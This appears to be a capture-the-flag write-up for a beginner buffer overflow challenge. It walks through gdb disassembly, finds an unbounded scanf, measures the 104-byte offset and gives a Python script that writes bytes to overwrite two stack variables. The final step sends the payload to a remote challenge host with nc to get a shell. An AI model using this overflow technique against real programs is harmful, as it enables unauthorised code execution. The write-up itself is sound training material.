Very similar to the last challenge, this also expects input.
Initial Attempt
Debug the binary in gdb.
(gdb) disas main
Dump of assembler code for function main:
...
0x0000000000000948 <+74>: lea 0x217(%rip),%rdi # 0xb66
0x000000000000094f <+81>: mov $0x0,%eax
0x0000000000000954 <+86>: call 0x750 <__isoc99_scanf@plt>
0x0000000000000959 <+91>: cmpl $0xc0ff33,-0x4(%rbp)
0x0000000000000960 <+98>: jne 0x992 <main+148>
0x0000000000000962 <+100>: cmpl $0xc0d3,-0x8(%rbp)
0x0000000000000969 <+107>: jne 0x992 <main+148>
...We need to make sure we can overflow the buffer, this can be verified by investigating the format being used by scanf on line <main+74>, put a breakpoint just after this instruction (<main+81>)
(gdb) b *main+81
(gdb) r
(gdb) x/s $rdi
0x555555400b66: "%s"We see it is unbounded scanf (%s) so we should be able to overflow in this case.
Observation
Line <main+91> invokes cmpl call followed by line <main+100> which again does a comparison of $rbp - 0x8 and 0xc0d3, put a breakpoint here and run the program, input a large amount of A characters to find the boundary
import sys
sys.stdout.write("A" * 32)$ python buffer.py > payloadSet a breakpoint, run the program and feed the payload and look at $rbp - 0x4 and stack
(gdb) b *main+91
Breakpoint 1 at 0x959
(gdb) r < payload
Breakpoint 1, 0x0000555555400959 in main ()
(gdb) x/32x $rsp
0x7fffffffda20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda40: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffda50: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffda60: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffda70: 0x00000000 0x00000000 0xf7fe5f70 0x00007fff
0x7fffffffda80: 0x00000000 0x00000000 0xfee1dead 0x0badf00d
0x7fffffffda90: 0x00000001 0x00000000 0xf7dfd24a 0x00007fff
(gdb) x/x $rbp-0x4
0x7fffffffda8c: 0x0badf00d
(gdb) x/x $rbp-0x8
0x7fffffffda88: 0xfee1dead
(gdb)Notice $rbp - 0x4 appears in the stack as follows and so does 32 bytes of 0x41 which is A, we can also see $rbp - 0x8
0x7fffffffda20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda40: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffda50: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffda60: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffda70: 0x00000000 0x00000000 0xf7fe5f70 0x00007fff
+ ------------ + ----------- +
0x7fffffffda80: 0x00000000 0x00000000 | 0xfee1dead | 0x0badf00d |
+ ------------ + ----------- +
0x7fffffffda90: 0x00000001 0x00000000 0xf7dfd24a 0x00007fffSolution
We see the program halts because it checks the value of $rbp - 0x4 against 0xc0ff33 and $rbp - 0x8 against 0xc0d3. So if we can write these variables with these values, we will get this challenge.
So input 104 bytes of A and then whatever comes next will be overflown to take the value of $rbp - 0x4
import sys
padding = b"A" * 104
value1 = b"\xd3\xc0\x00\x00"
value2 = b"\x33\xff\xc0\x00"
sys.stdout.buffer.write(padding + value1 + value2)Write this to payload file and run it again in gdb
(gdb) r < payload
Breakpoint 1, 0x0000555555400959 in main ()
(gdb) x/x $rbp-0x4
0x7fffffffda8c: 0x00c0ff33
(gdb) x/x $rbp-0x8
0x7fffffffda88: 0x0000c0d3
(gdb) x/32x $rsp
0x7fffffffda20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda50: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffda80: 0x41414141 0x41414141 0x0000c0d3 0x00c0ff33
0x7fffffffda90: 0x00000000 0x00000000 0xf7dfd24a 0x00007fffVoila, continue and you will see the program starts a shell
(cat payload; cat) | nc 10.201.92.179 9002You will get a shell, cat flag.txt and complete the challenge